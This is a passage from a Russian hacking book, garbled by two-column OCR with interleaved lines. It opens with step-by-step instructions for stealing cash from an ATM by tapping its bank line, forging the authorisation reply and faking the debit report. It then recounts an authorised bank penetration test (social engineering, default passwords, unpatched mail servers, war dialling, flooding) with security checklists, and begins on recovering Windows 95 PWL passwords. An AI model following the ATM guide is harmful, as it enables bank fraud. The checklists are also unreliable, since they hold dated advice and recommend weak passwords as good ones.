зия: поскольку банкомат в себе не хранит никакой информации и всегда 5. Наконец, тяпнем по маленькой для храбрости и, оставив Швар
обращается за ответом в банк, то можно, врезавшись в кабель между ним ценеггера на шухере, начнем процесс. Засовываем нашу карту, на счету
и банком, перехватить трафик и фальсифицировать его нужным нам об которой лежат оставшиеся после экспериментов с банкоматом несколь
разом. Ни один банк не в состоянии гарантировать целостность кабеля ко долларов.
на всем его протяжении.
6. Наблюдаем, как банкомат шлет запрос, включая номер нашего
Разумеется, для анализа протокола обмена понадобится персо счета и все остальное. Мы никак не вмешиваемся в этот процесс.
нальный компьютер, а также программа для снятия дампа и представле
7. Авторизационный центр должен вернуть ответ, в котором со
ния его в удобочитаемом виде. Можно, к примеру, воспользоваться ком
держится много полезной информации. А среди нее — максимально воз
пактной и маленькой утилитой pio и навигатором управления bleak_l,
можная сумма для снятия. Вот тут мы перехватываем этот пакет и взамен
заботливо написанным хакером KPNC для взлома НТВ, но вполне под
него шлем другой. Чем он отличается от оригинального, не стоит, навер
ходящим и для этого случая.
ное, даже говорить — и так всем ясно. Но будьте внимательны! Эта сум
Единственное, что придется спаять самостоятельно, так это кон ма может присутствовать сразу в нескольких полях, кроме того, необхо
троллер для подсоединения к банковскому кабелю. В Сети очень много димо скорректировать и поле контрольной суммы, иначе ничего не
различных схем и энтузиастов, предлагающих за относительно неболь получится! Это самый сложный момент во взломе.
шие деньги приобрести уже готовые изделия. Так или иначе, но в даль
8. Впрочем, на этом этапе вы еще ничем не рискуете. Если ошибе
нейшем будем считать, что такой девайс у нас есть.
тесь, то просто перехватите обратный ответ банкомата и не пропустите
Наши последующие действия: его. Ведь вы еще помните коды ошибок, не так ли? А поэтому пробуйте,
пока банкомат не «проглотит» фальсифицированный пакет.
1. Врезаемся в линию между банкоматом и авторизационным цен
тром (заметим, что врезаться придется в разрыв кабеля, так чтобы вы в 9. Ну что же, теперь требуйте от банкомата столько денег, на
дальнейшем могли не только перехватывать, но и блокировать любые сколько у вас хватит совести. В это время банкомат передает банку,
проходящие пакеты). Разумеется, что если мы хотя бы на мгновение пре сколько денег было снято. Взаправду. Эту информацию надо перехватить
рвем целостность кабеля, дело закончится плачевно. Поэтому поищите в и послать ложный пакет, что денег снято всего 1 доллар (или сколько у
книжках электронные схемы мгновенной коммутации «на ходу». Анало вас там осталось взаправду на карточке). Будьте очень внимательны. Те
гичным образом мошенники нейтрализуют сложные системы электрон перь фальсифицированный пакет передается уже банку, и любое невер
ных сигнализаций. Не тех, что в магазинах, а на порядок совершеннее. ное действие будет необратимо зафиксировано системой безопасности,
и даже Шварценеггеру скоро покажется жарковато.
2. Наблюдаем за пересылкой пакетов, не предпринимая никаких
действий. Только наблюдаем, чтобы понять логику. На самом деле это 10. Ну, вот и все. Осталась маленькая проблема — как обеспечить
«только» представляет собой утомительный и кропотливый анализ про сходимость дебета и кредита. Ведь банкомат ведет логи и протоколы всех
токолов и расшифровки всех полей заголовков пакетов с той целью, действий. Подумайте, как можно обмануть систему.
чтобы в дальнейшем иметь возможность генерации и отправки соб
11. Наконец, все! Вы отсоединяете свой ноутбук от кабеля, по воз
ственных пакетов, не опасаясь того, что они чемто будут отличаться от
можности замаскировав нелегальное подключение, и отправляетесь
реальных.
в ближайший компьютерный салон за новым микропроцессором.
3. Теперь манипулируем легальной картой (это значит, что по
12. Однако помните, что многие банкоматы сейчас снабжены кон
крайней меру одну карту вы должны будете все же завести) с тем, чтобы
трольными телекамерами, что не есть хорошо. Но, к счастью, еще не все.
понять логику обмена. В частности, найти и опознать передаваемые бан
И стальная крыса всегда найдет для себя щель!
коматом запросы и возвращаемые ему ответы.
А вообще, чтобы ломать банкоматы, неплохо бы разобраться в их
4. Сравним теперь это с просроченной картой, чтобы определить
устройстве, типовом протоколе обмена и программном обеспечении. То
реакцию системы в такой ситуации, а также найти и идентифицировать
есть так или иначе выбрать себе работу, связанную с их разработкой, со
коды ошибок (они нам потом понадобятся).
зданием или по крайней мере эксплуатацией. В этом случае вы получите
Хакерские трюки 205 206 Хакерские трюки

действительно достоверную информацию об их устройстве, а также сла сотрудники которой попытаются проникнуть в систему извне и тем са
бых и сильных сторонах. А ведь уязвимость у них действительно есть. мым определят слабые места в ее защите. Фоллсворт заключил контракт
Только она неочевидна для постороннего, не работавшего с ними чело с такой фирмой, и они начали работать в тесном контакте. Он старался
века. Но, как и любому человеческому творению, этому свойственны не объяснить, в чем состоит задача экспериментального проникновения,
достатки не в меньшем числе. Однако будете ли вы заниматься мелким или, если можно так выразиться, «дружественного» взлома. Предстояло
жульничеством, находясь на высокооплачиваемой работе? оценить целостность новой услуги и определить, как эта услуга соотно
сится с прочими банковскими операциями; выявить слабые места; пред
ложить решения по улучшению защиты; продемонстрировать возмож
Глава 16. ные последствия взлома.
Анатомия дружеского взлома
Разработка планов вторжения
Тому, кто хочет узнать, насколько хорошо защищен его Webсер При моделировании атаки необходимо определить, кто является
вер, можно посоветовать весьма надежное средство: нанять хакера и по потенциальным злоумышленником. Большинство компаний представ
просить его взломать защиту. Этот способ сослужил отличную службу ляет себе в этом качестве какогонибудь профессионального преступни
одной финансовой организации, собиравшейся проводить банковские ка, иностранную державу, шпиона, конкурентатеррориста или просто
операции с помощью Webтехнологий. Компания наняла специальную 16летнего подростка, развлекающегося с клавиатурой. Фоллсворт ска
группу, которая нашла «дыры» в системе защиты, прежде чем услуга бы зал, что более всего боится международных преступников, действующих
ла представлена публике. Тем самым удалось уменьшить риск проникно из корыстных побуждений. После этого было решено, как надо прово
вения электронного воришки в систему, где хранятся чужие деньги. дить «дружественный» взлом сетей и Webузлов BABank.
Расскажем о реальном опыте одного из сотрудников, работавших Бесспорно, многое зависит от того, насколько далеко готов зайти
в банковской сфере. Названия, имена и прочие детали изменены таким потенциальный хакер. Для получения информации, которая может ока
образом, чтобы организацию нельзя было «вычислить». Во всем осталь заться полезной при взломе, часто используются разнообразные психо
ном история правдива. логические приемы. Например, преступник звонит в офис и мило рас
Состояние Джеймса Фоллсворта, вицепрезидента по безопасно спрашивает сотрудников о преимуществах нового пакета услуг, попутно
сти Big American Bank, было близко к паническому. Он только что выяс задавая вопросы относительно системы безопасности.
нил, что его банк собирается внедрять систему услуг для удаленных кли Другой часто встречающийся прием — разгребание мусора. Очень
ентов на базе Web; услугой предполагалось охватить несколько часто сотрудники компаний довольно легкомысленно выбрасывают вну
миллионов человек по всему миру. Служба BABank Online должна была тренние телефонные справочники, техническую документацию, диски
предоставить удаленным клиентам возможность знакомиться с состоя и многое другое. Это же настоящая золотая жила для злоумышленника!
нием счетов, выполнять переводы и платежи и управлять движением
своих средств. Были произведены попытки войти в систему разными способами.
Доступ можно получить через телефонную систему, порты для техниче
Фоллсворт не понимал, почему его никто не предупредил о разра ской поддержки и прочие электронные «форточки». Не игнорировались
ботке проекта, который ставил колоссальное количество проблем перед и психологические штучки, «взломщики» прикидывались по телефону
службой безопасности. Уже началось бетатестирование программы; до то сотрудниками компании, то поставщиками. В корпоративном мусоре
внедрения новой онлайновой услуги оставалось не больше двух месяцев. они тоже покопались, но занимались этим только за пределами орга
Президент BABank решил, что Фоллсворта просто «заклинило», и пред низации.
ложил ему как можно скорее найти выход из ситуации.
Запрещенными считались: психологические приемы с использо
Необходимо было срочно оценить, насколько безопасна система ванием электронной почты, разгребание мусора на территории органи
BABank Online. Ведь достаточно даже не злоумышленного «взлома» сис зации, выдавание себя за сотрудника банка при личном контакте, а так
темы, а просто Webхулиганства, чтобы клиент потерял доверие к услуге, же попытки проникновения в системы бизнеспартнеров банка.
а банк лишился части дохода. Последовало решение: нанять компанию, Исключались и более грубые методы, вроде вымогательства, силового
Хакерские трюки 207 208 Хакерские трюки

давления, шантажа и копания в биографиях сотрудников банка. Часть из альные программы«демоны», которые автоматически перебирают де
этих «методов» была отклонена по соображениям законности, на другие сятки тысяч телефонных номеров, реагируя только на тоновые сигналы
не согласилась служба безопасности банка. К сожалению, все эти огра от модемов, — таким образом можно определить, что трубку на противо
ничения помешали «взломщикам» полностью смоделировать действия положном конце «снял» компьютер. Анализатор протоколов позволяет
потенциальных злоумышленников. ознакомиться с трафиком, передаваемым по обнаруженным IPканалам
организации. Проникнув в сеть, хакер способен применить анализаторы
Кстати, и само хакерство — деяние противозаконное; иногда оно
протоколов для слежения за трафиком и перехвата паролей.
даже преследуется в уголовном порядке. Поэтому не забудьте выдать на
нимаемой вами компании письменное разрешение на все предпринима Группа оценки системы защиты обязательно должна вести учет
емые действия. Если какието действия группы, оценивающей систему всех своих действий. Если выяснится, что на систему оказывается вред
безопасности, будут выявлены (правда, вероятность этого мала), невер ное воздействие, контрольной журнал поможет разобраться в произо
но поняты и зарегистрированы как правонарушение, эта бумага поможет шедшем и устранить последствия такого вмешательства.
приглашенным хакерам избежать неприятностей. Ясно, впрочем, что ни
Следующий шаг состоит в том, чтобы проанализировать масштаб
одна компания не разрешит сторонней организации вторгнуться в свою
IPобласти, связанной с компанией (т.е. узнать, имеет она IPадрес клас
вычислительную сеть.
са B или С); это можно сделать при помощи InterNIC или любого друго
Разумный хакер собирает информацию любыми доступными го средства. Например, воспользовавшись командой nslookup, можно
средствами — в ход идут, например, открытые документы, финансовые выяснить, какие IPадреса можно атаковать. Затем необходимо зайти по
отчеты, техническая документация. Хакеры собирают данные об исполь telnet на Unixмашину, на которой была установлена программа Sendmail
зуемых операционных системах, продуктах, являющихся основой ин 5.x, в чьей системе защиты имеется ряд дыр; через них можно попытать
формационной системы, телефонных станциях, а также физические ад ся проникнуть на почтовый сервер.
реса центров хранения данных и телефонных узлов. Чтобы сэкономить
Обнаружилось, что системный оператор не входил в систему уже
время и деньги, BABank сам передал всю эту информацию рабочей груп
19 дней; это было расценено как недостаток системы защиты. Выясни
пе («взломщикам»).
лось также, что в настоящий момент в системе работают два человека;
Бесспорно, добросовестный хакер сделает все возможное, чтобы необходимо было дождаться, пока они выйдут, и только тогда начать ата
максимально приблизиться к объекту атаки. Фоллсворт открыл на имя ку. Кроме того, была запущена специальная программа, которая помог
фирмы«взломщика» легальный банковский счет на сумму 1000 долла ла скрыть свои настоящие IPадреса и имена.
ров. С этим счетом фирма могла работать по телефону или через пилот
Для поиска других слабых мест в системе защиты были использо
ный Webузел, к которому имело доступ ограниченное число работников
ваны средства оценки надежности защиты данных Internet Scanner от
банка.
Internet Security Systems и бесплатная программа Satan. Сгодятся и другие
программы, например Netective от Netect, Ballista от Secure Networks и
Найти ахиллесову пяту NetSonar от Wheel Group. Многие из этих программ можно бесплатно за
Покончив с предварительными изысканиями, группа злоумыш грузить через Internet.
ленников начинает составлять схему сети. Указываются IPадреса, физи
ческое размещение устройств, порты для управления устройствами и У каждого из продуктов есть свои достоинства и недостатки, по
связи через коммутируемую сеть, телефонные номера, модули голосово этому, чтобы прикрыть все «дыры», стоит запастись несколькими про
го ответа, сети под SNA, серверы, поддерживающие услуги Routing and граммами. Эти средства помогут найти плохо сконфигурированные сер
Remote Access Service от Microsoft, маршрутизаторы и прочие точки, где веры, маршрутизаторы с «дырами», проблемы в системной базе (registry)
происходит аутентификация удаленных абонентов. Windows NT, неправильно сконфигурированные операционные систе
мы, неустановленные протоколы, слабые пароли, неправильные версии
В составлении такой карты значительную помощь могут оказать программного обеспечения и устаревшие «заплаты».
некоторые широко распространенные методы и средства анализа. На
пример, порывшись как следует на Webузле InterNIC, можно получить Было опробована и парочка психологических приемов. Прики
массу информации о структуре IPсети компании. Существуют специ нувшись инженером из компаниипроизводителя, сотрудник фир
Хакерские трюки 209 210 Хакерские трюки

мы«взломщика» пару раз позвонил в группу разработки информацион воспользовались средствами автоматического взлома паролей. Выясни
ных систем BABank и получил данные о структуре сети банка. Кроме то лось, что недостаточно надежно защищены система управления прило
го, удалось раздобыть довольно подробные данные о работнике банка; жениями, средства системного управления, системные утилиты, а также
потом один из «взломщиков» притворился этим работником, получив в средства управления операционными системами на корневом уровне.
свое распоряжение дополнительные средства доступа к электронным
Вот пример того, почему система оказывается недостаточно на
ресурсам.
дежной. Предположим, что внешний канал TCP/IP приходит на Сер
Вооружившись результатами сканирования, информацией из от вер 1, работающий под Windows NT. Остальные семь серверов (со вто
крытых источников и данными, полученными с помощью психологиче рого по восьмой) могут взаимодействовать с внешним миром только
ских приемов, «взломщики» полностью подготовились к штурму инфор через Сервер 1; следовательно, этот сервер «перекрывает» единствен
мационной системы BABank. Бесспорно, самым серьезным моментом ный путь проникновения в систему извне. Администраторы часто дума
операции была именно попытка взлома. Нужно быть очень вниматель ют, что для обеспечения безопасности системы нужно лишь закрыть к
ными, чтобы не нанести серьезного ущерба системе защиты данных. ней доступ снаружи. На защиту внутренних каналов передачи информа
В таких делах следует избегать легковесных подходов: аккуратно про ции обращают куда меньше внимания, что значительно облегчает жизнь
никнуть в систему куда труднее, чем запустить средство сканирования хакеру.
сети и составить отчет.
Телефонное хулиганство
Взлом Не забудьте выяснить, насколько надежно защищена ваша корпо
«Взломщики» воспользовались слабостью парольной защиты, об ративная АТС. У нее вполне могут обнаружиться недокументированные
наруженными старыми версиями почтовых программ (чьи хорошо изве каналы связи с сетью передачи данных, что откроет путь потенциальным
стные «дыры» в системе защиты так и не были залатаны), telnetдоступом злоумышленникам. К счастью для BABank, здесь далеко продвинуться
к незащищенным портам. Кроме того, они загружали по FTP файлы с не удалось.
паролями и меняли их. Может быть, комуто покажется, что все это че
Проникновение в PBX или системы голосового ответа дает массу
ресчур просто, однако большинство «дыр» защиты связано именно с тем,
ценной информации о портах доступа, прямого администрирования из
что в организации отсутствует практика каждодневного выполнения не
вне и технического обслуживания, о внутренних прикладных системах с
ких немудреных операций.
распознаванием голоса, а также о службе передачи голосовой почты
В корпоративную сеть можно войти через сервисы TCP/IP, порты в PBX. Таким образом, хакер может получить доступ к банковским сче
управления на включенных в сеть компьютерах и офисных АТС, прини там и системам управления.
мающих участие в передаче данных. Можно также воспользоваться до
Чтобы уберечь PBX от проникновения хакера, нужно поменять
полнительными средствами, выявленными на этапе исследования сети.
все пароли по умолчанию и изучить все контрольные журналы, составив
Что касается сети BABank, были выявлены две слабые точки. представление о нормальном режиме работы АТС. Проверяйте все моди
Вопервых, порт технического обслуживания AS/400 был закрыт паро фикации программного обеспечения и системные «заплаты» на предмет
лем, установленным производителем по умолчанию; в результате была того, не способствуют ли они возникновению новых слабых мест. Необ
получена возможность делать с этой системой все что угодно. Вовторых, ходимо также убедиться, что в вашей системе нет какихнибудь неиз
на почтовом сервере имелась устаревшая версия Unix, на которую не ус вестных вам модемов. Помните: система, в которой случайно окажутся
тановили необходимые заплаты. Там обнаружилось несколько дыр; в модем и ПК под Remote Server Mode, будет полностью открыта для
частности, можно было отправлять почту и записывать файлы в корне вторжения извне.
вой уровень каталога. Таким образом, был получен контроль над этим
Воспользовавшись программой автоматического подбора номера,
сервером, после чего можно было взаимодействовать с другими сервера
«взломщики» обнаружили некоторое число модемов в телефонном про
ми на административном уровне.
странстве банка. Они попытались «влезть» в эти модемы и проверить их
Далее потребовалось составить себе представление о внутренней защиту. Часть модемных входов была закрыта паролем. Запустив про
инфраструктуре сети. Чтобы обнаружить слабые места, «взломщики» грамму подбора пароля, чтобы проверить, насколько сильна эта защита,
Хакерские трюки 211 212 Хакерские трюки

«взломщики» ничего не добились. Зато им удалось вручную(!) подобрать хакера обслуживание прервется, то, несомненно, пострадают как финан
пароль к порту технической поддержки маршрутизатора. Бабах! совые дела BABank, так и его отношения с клиентами. Мало того, следы
Webхулиганства на сервере способны «подпортить» имидж самой ком
Через этот порт они попали в сеть, а потом, зайдя на AS/400, пе
пании, ее продуктов и услуг, в особенности если на деловых страничках
ревели небольшую сумму на свой тысячедолларовый счет с чужого счета.
появятся порнографические картинки.
Если «взломщики» сумели это сделать, то что помешает хакеру перевести
миллион долларов? Или миллиард? Однако теперь, ориентируясь на Группа «взломщиков» решила выяснить, насколько легко хакер
результаты этих изысканий в области психологических приемов, BABank сумеет вызвать на Webсервере BABank перебои в обслуживании. Для
установил некую предельную сумму сделки, при превышении которой этого они воспользовались разнообразными самодельными средствами
вступают в действие механизмы обнаружения финансового мошенни (ничего другого както не нашлось). Некоторые разработанные хакерами
чества. программы, вызывающие сбои обслуживания, можно загрузить по
Internet, однако чтобы заставить их работать, с ними приходится долго
Проникнув на AS/400, «взломщики» получили доступ к мэйн
возиться.
фреймам и начали атаку на систему защиты Resource Access Control Fa
cility. Но тут сотрудники BABank, уже убедившиеся в наличии «дыр» Они применяли почтовые бомбы для переполнения сети, затопле
в Webсистеме, решили прекратить эксперименты. ние сети пакетами синхронизации (SYN flooding), а также «пинг смерти»,
т.е. нападение с использованием пингпакетов, иногда приводящее к за
Как обычно, «взломщики» победили. Однако на этом их деятель
висанию серверов. Обязательно попросите группы оценки информаци
ность не закончилась. Был выработан ряд стратегических рекомендаций
онной безопасности исследовать устойчивость к искусственным перебо
и даны советы по использованию конкретных процедур, методов и тех
ям в обслуживании; такие атаки могут полностью вывести сервер из
нологий, которые помогут решить проблемы с защитой данных.
строя. Необходимо также выяснить, сколько времени занимает восста
Так, банку были даны рекомендации по выработке политики в об новление работоспособности системы.
ласти Webбезопасности и реализации метода поиска слабых мест. Кро
ме того, было указано, как можно связать между собой различные схемы Экзамены никогда не кончаются
парольной защиты и добиться оптимального выбора паролей. Был дан Когда нанятым хакерам удалось взломать систему, ваша работа
совет сотрудникам отдела автоматизации установить новые версии неко только начинается. Ни в коем случае не следует считать, что сам факт те
торых операционных систем и перевести определенные системы с Unix стирования уже обеспечивает информационную безопасность. Оценка
на Windows NT, поскольку ряд приложений лучше работает под NT. системы безопасности (вроде той, что была предпринята по заказу
Главное изменение состояло в том, чтобы вывести часть услуг на BABank) дает только представление о состоянии сети на момент прове
отдельные серверы, повысив тем самым степень защиты. Если услуги ти дения операции. Cистема информационной безопасности претерпевает
па FTP и размещения Webсерверов сосредоточены на одной машине, постоянные изменения и требует к себе постоянного внимания.
это снижает уровень информационной безопасности. Первый всеобъемлющий тест должен рассматриваться вами как
Фоллсворт, впрочем, оказался достаточно разумным, чтобы осо отправная точка. Не забывайте время от времени выделять деньги на по
знать: одних этих мер недостаточно для обеспечения неуязвимости ин вторные обследования. Не менее важно и то, чтобы исследования прово
формационной системы банка. Было проверено, как защищена конфи дились до запуска онлайновых услуг, а не после того, как «дыры» в защи
денциальность информации, насколько хорошо обеспечивается те дадут себя знать.
целостность данных и как устроена система управления доступом, одна Не забывайте девиз «Взломай свою систему сам, пока ктото не
ко из рассмотрения выпал такой важнейший аспект информационной сделает этого без твоего ведома». А пока — удачной охоты!
безопасности, как готовность системы.
BABank намеревался предоставлять Internetуслуги для получения
дополнительного дохода и укрепления доверия клиентов. Для этого сер
вер должен работать без перерывов и выходных. Если в результате атаки
Хакерские трюки 213 214 Хакерские трюки

Десять советов по защите серверов для применять такие средства обеспечения безопасности, как Secure Socket
WebBкоммерции Layer, Secure Hypertext Transfer Protocol или Kerberos.
1. Следует ограничить число людей, имеющих удаленный доступ 10. Подумайте, не стоит ли снабдить критически важные данные
к управлению вашим Webсервером, и тщательно следить за этим досту и соответствующие им системные файлы оболочками для обеспечения
пом. Дистанционное администрирование (как и доступ к корневому ка их целостности. Криптографические оболочки вокруг этих файлов поз
талогу) — отличная лазейка для хакера. волят не допустить их модификации или внесения вредоносного кода.
2. Проверьте, правильно ли сконфигурированы списки доступа
и вносятся ли в них каждодневные изменения, отражающие состояние Как работать с группой, оценивающей
деловой жизни компании (такие, например, как добавление новых поль надежность системы информационной
зователей и клиентов, удаление старых ). безопасности
3. Насколько возможно, отделите ваш коммерческий сервер от ◆ Выберите себе консультанта с хорошей репутацией.
прочих услуг. Можно дополнительно укрепить сервер, отменив все не ◆ Потребуйте, чтобы в группе велись подробные
обязательные функции приложений и операционных систем. Если вы не контрольные журналы в течение всего срока работ.
в состоянии этого сделать, следует всерьез подумать об использовании
сторонних услуг (outsourcing). ◆ Необходимо, чтобы группа оценки могла приостановить
свою деятельность за несколько минут, если начнет
4. Установите систему обнаружения вторжений, которая не происходить нечто нежелательное.
медленно будет ставить в известность администратора сети обо всех
проблемах, требующих устранения. Помните, что обнаружить хакера — ◆ Группа должна выдать несколько различных отчетов,
это полдела; главная задача состоит в пресечении его деятельности. рассчитанных на технических специалистов,
руководителей среднего звена и высшее руководство
5. Система должна реагировать на любые необычные события, компаний.
происходящие на серверах. Невозможно остановить злоумышленника,
не зная, что он делает. ◆ Ознакомьтесь с результатами проверки и используйте
их как руководство к действию.
6. Неправильно написанные, сконфигурированные и установлен
ные скрипты Perl и CGI (Common Gateway Interface) могут стать причи
Десять недорогих способов укрепления системы
ной возникновения «дыр» в системе защиты. Этими средствами надо
пользоваться осторожно; все скрипты должны проверяться опытными обеспечения внутренней безопасности
специалистами. 1. Стоит выяснить о нанимаемых на работу людях несколько боль
ше, чем можно узнать из их резюме; особенно это касается таких крити
7. Для обеспечения безопасности некоторых коммерческих серве чески важных должностей, как системный администратор. Подумайте,
ров использования паролей недостаточно. Стоит обдумать возможность не надо ли ввести систему психотестов, которые позволят выявить этиче
раздачи клиентам физических и электронных жетонов. ские принципы кандидатов, их особенности.
8. Следует обеспечивать и аутентификацию администраторов. 2. Рассмотрите вопрос о снятии дисководов с пользовательских
Все большее распространение получают разнообразные биометричес ПК. Это затруднит сотрудникам установку своего собственного про
кие средства идентификации по голосу, отпечаткам пальцев и узору сет граммного обеспечения и компьютерных игр, помешает им заражать си
чатки. стему вирусами и «выносить» из компании закрытую информацию. Та
9. При переводе денежных сумм (с использованием кредитных кая мера позволит избежать и еще одной угрозы для информационной
карточек или путем обращения к мэйнфрейму, где поддерживаются пол безопасности — диски, разбросанные на столе сотрудника, легко могут
номасштабные банковские операции) ваш узел обращается к другим се пропасть.
тям. При взаимодействии с критически важными системами следует
Хакерские трюки 215 216 Хакерские трюки

3. Не допускайте, чтобы на одну сетевую станцию приходилось Пять основных условий обеспечения
более одного идентификатора пользователя. Установите безопасные эк информационной безопасности
ранные заставки — это поможет решить административные проблемы.
1. Главное, что нужно сделать для защиты информационной сис
4. Предоставляйте корневые привилегии только тем администра темы от внешних и внутренних угроз, — выработать корпоративную по
торам, которым они реально нужны. Помните, что каждый раз, когда вы литику. Обдумайте, чего вы хотите добиться и как можно достичь постав
даете такие привилегии, в системе защиты появляется еще одна потен ленной цели; составьте ясный документ, посвященный политике
циальная «дырка». защиты.
5. Уничтожайте или сжигайте важную закрытую информацию: 2. Регулярно проводите занятия с сотрудниками, повышая их об
списки персонала, идентификационные имена сотрудников, сводки от разовательный уровень и степень информированности обо всех аспектах
дела кадров, папки с данными о клиентах, памятки, руководства, схемы информационной безопасности компании. Объясняйте сотрудникам, в
сетей и вообще все, что может представлять интерес для злоумышлен чем могло бы состоять их участие в обеспечении информационной безо
ников. пасности компании.
6. Мусорные контейнеры должны находиться на территории орга 3. Периодически проводите тестирование и оценку системы защи
низации; в противном случае злоумышленник не устоит перед соблаз ты, чтобы проверить, насколько внешняя и внутренняя защита соот
ном в них порыться. ветствует корпоративной политике. Работайте только с теми консультан
тами, которые придерживаются структурированного подхода и не
7. Постарайтесь, чтобы сотрудники компании стали вашими со
заинтересованы напрямую в результатах тестирования.
юзниками в борьбе за корпоративную безопасность. Попробуйте реали
зовать программы партнерства: пообещайте вознаграждение тому, кто 4. Не забывайте о простых способах физической защиты. Следите
обнаружит недочеты в системе безопасности или уличит коголибо в не за доступом к распределительным шкафам, серверам, комнатам теле
добросовестности. фонной связи и кроссам точно так же, как вы следите за доступом к вы
числительным центрам.
8. Внимательно изучайте все продукты, обеспечивающие инфор
мационную безопасность. Убедитесь, что они работают именно так, как 5. Рассмотрите вопрос об использовании услуг сторонних компа
было обещано производителем. Подумайте, можно ли укрепить систему ний, специализирующихся в области защиты данных; они должны рабо
защиты, не устанавливая новый продукт, который потребует от вас опре тать в контакте с отделом автоматизации. Эти компании могут оказаться
деленных усилий. лучше подготовленными к тому, чтобы следить за защитой ваших дан
ных 24 часа в сутки без выходных. Однако тогда вам придется передать
9. Уполномочьте коголибо из сотрудников принимать оператив
в чужие руки управление определенной частью своего бизнеса.
ные меры в случае угрозы информационной безопасности — от аварий
ной остановки Webсервера до вызова охраны для удаления проштра
фившегося сотрудника за пределы организации. Десять способов поддержки работоспособности
системы защиты
10. Оповестите сотрудников, что вы используете самые современ
ные средства мониторинга сети и контроля за действиями работников 1. Время от времени проводите тестирование систем защиты — это
компании. Объясните, что вы не собираетесь устанавливать тоталитар позволит отслеживать все изменения в самих системах, сетях и поведе
ный режим, а просто боретесь со злоумышленниками. В результате со нии пользователей. Точечные проверки системы защиты данных пред
трудники будут с меньшей легкостью нарушать правила пользования ин приятия стоит проводить ежемесячно, а полную проверку информаци
формационной системой и обеспечения защиты данных. онной безопасности предприятия — раз в год. Возможное влияние новых
приложений на информационную безопасность следует оценивать перед
их установкой.
2. Постоянно проверяйте надежность парольной защиты, даже ес
ли ничто не внушает беспокойства. Длинные пароли лучше коротких,
Хакерские трюки 217 218 Хакерские трюки

поскольку их труднее подобрать, однако их и труднее запомнить, не за поддержания корпоративной информационной безопасности, которая
писывая. Вот примеры хороших паролей: PaSsWoRd (чередующиеся соответствовала бы потребностям вашего бизнеса.
прописные и строчные буквы), ford6632 (распространенное слово и лег
ко запоминающееся число), 3lite, wr1t3m3, w1nn13 (так пишут хакеры). Сигнал тревоги
3. Следите за тем, как ваши пользователи работают с Internet, и ре В настоящее время ФБР расследует более 700 случаев крупных
гулируйте этот процесс. вмешательств со стороны иностранных разведок. Среди применяемых
агентами методов — подключение к кабельным линиям связи, установка
4. В рамках программы непрерывного образования предложите подслушивающих устройств в офисах, перехват разговоров по сотовому
сотрудникам ознакомиться со специальными играми и моделирующими телефону, проникновение в компьютерные сети и воровство закрытой
программами, которые позволят им осознать, какие последствия может информации с дисков и компактдисков.
иметь пренебрежение правилами защиты данных.
По данным Национальной ассоциации компьютерной безопасно
5. За счет использования механизмов управления доступом и тех сти, за период с 1996 г. по ноябрь 1997 г. количество макровирусов воз
нологий для интрасетей разделите вашу организацию на логические час росло с 40 до 1300. Gartner Group предсказывает, что в 1998 г. 60% нару
ти. Секционирование ресурсов и информации повышает степень защи шений системы защиты произойдет изза вирусов.
щенности. Подумайте также об использовании закрытой почтовой
системы, ограничивающей возможность обмена информацией между Иностранные агенты минимум из 23 стран пытались осуществить
сотрудниками. разведывательные действия против американских корпораций. По дан
ным ФБР, только в 1997 г. потери американских компаний, связанные
6. Станьте подписчиками новостных групп Internet, посвященных с интеллектуальной собственностью, составили свыше 300 млрд. дол.
проблемам безопасности, и просматривайте основные Webстраницы;
это позволит вам постоянно быть в курсе событий. Вот некоторые полез По данным министерства обороны США, 88% из более чем 20 000
ные URL: listservnetspace.org, www.nbugtraq.com, www.infowar.com/hack попыток проникновения в информационные системы государственных
ers, www.techbroker/happyhacker.html. организаций, выполненных для оценки надежности защиты, заверши
лись успешно. Из этих успешных нападений обнаружены были только
7. Немедленно устанавливайте все новые версии операционных 5%; официальные же доклады о проникновении представлялись только
систем, «заплаты» к прикладным программам и комплекты сервисов, в 5% от общего числа случаев выявления атак. Таким образом, широкой
выпускаемые производителем программного обеспечения. Тщательно общественности становится известно лишь об одной из 400 успешных
проверяйте, не окажет ли новая программа негативного воздействия на атак.
другие системы.
Как показало исследование, проведенное компанией Warroom
8. Создайте из сотрудников вашей компании оперативную группу Research совместно с американским Сенатом, 58% компаний обнаружи
компьютерной безопасности (Computer Emergency Response Team, вали случаи несанкционированного доступа к своим сетям. Более чем в
CERT). CERT — это общепринятый термин для обозначения группы 69% случаев успешных вторжений убытки компаний составили свыше
экспертов по компьютерным технологиям, которые призваны бороться с 50 тыс. долларов, а более чем в 27% случаев — свыше 500 тыс. долларов.
компьютерными и сетевыми катастрофами. Установите контакты с груп
пами CERT из родственных организаций, что позволит поддерживать ус Исследование, проведенное компанией Warroom Research, пока
тойчивость системы защиты в более глобальном масштабе. зало, что каждая из более чем 51% компаний уличала не менее шести сво
их сотрудников в злоупотреблениях, связанных с информационными се
9. Просматривайте списки прав доступа пользователей и следите тями. Более чем в 75% случаев единственным наказанием стало устное
за их актуальностью. Ограничивайте пользователям возможности досту или письменное порицание.
па; максимально закручивайте все гайки в системе безопасности.
10. Рассматривайте защиту данных как процесс. Не следует ду
мать, что, установив систему защиты данных, можно поставить галочку в
списке необходимых дел и на этом успокоиться. Разработайте политику
Хакерские трюки 219 220 Хакерские трюки

Глава 17. чего ушли, к тому и пришли! И тогда какаято умная голова догадалась,
что пароль можно хранить не в голове, а прямо на жестком диске.
Бесплатный Internet В DialUpокне галочку поставить и запомнить пароль. У компьютера
мозги кремниевые — ему все равно, что запоминать. Ну, а раз запомни
Все изложенное ниже предназначено только для ознакомления ли, то, само собой, и записать надо. Ну, а раз записать, то... правильно:
с возможной опасностью и ни в коем случае не должно быть использова отвернулся наш пользователь, а тут хакеры толпой налетели — и ну па
но, если это причинит ущерб какимлибо физическим или юридическим роль подсматривать. И тогда запомненные пароли стали шифровать... Ну
лицам, так как это может повлечь за собой административную или уго вот, наше лирикоисторическое вступление закончилось. Теперь пошла
ловную ответственность в соответствии с действующим законодатель проза.
ством.
Где хранятся пароли в Windows 95? Зашифрованные пароли
Для начала небольшой экскурс в историю. Во все времена были в Windows 95, как известно, хранятся в основном каталоге, в файлах с
люди, которые старались чтолибо утаить от других, и были и другие: те, расширением PWL. С учетом того, что не только «у нас здесь», но и «у
которые с этим были не согласны и поэтому всячески старались тайны них там» бывают персональные компьютеры коллективного пользова
первых узнать — такова уж человеческая сущность. И вот, придумали ния, да и сети локальные местами встречаются, на каждого пользователя
первые вход в Internet с паролем, ибо денег стоит, а вторые сразу начали заводится свой PWL. Кстати, название файла соответствует логину (име
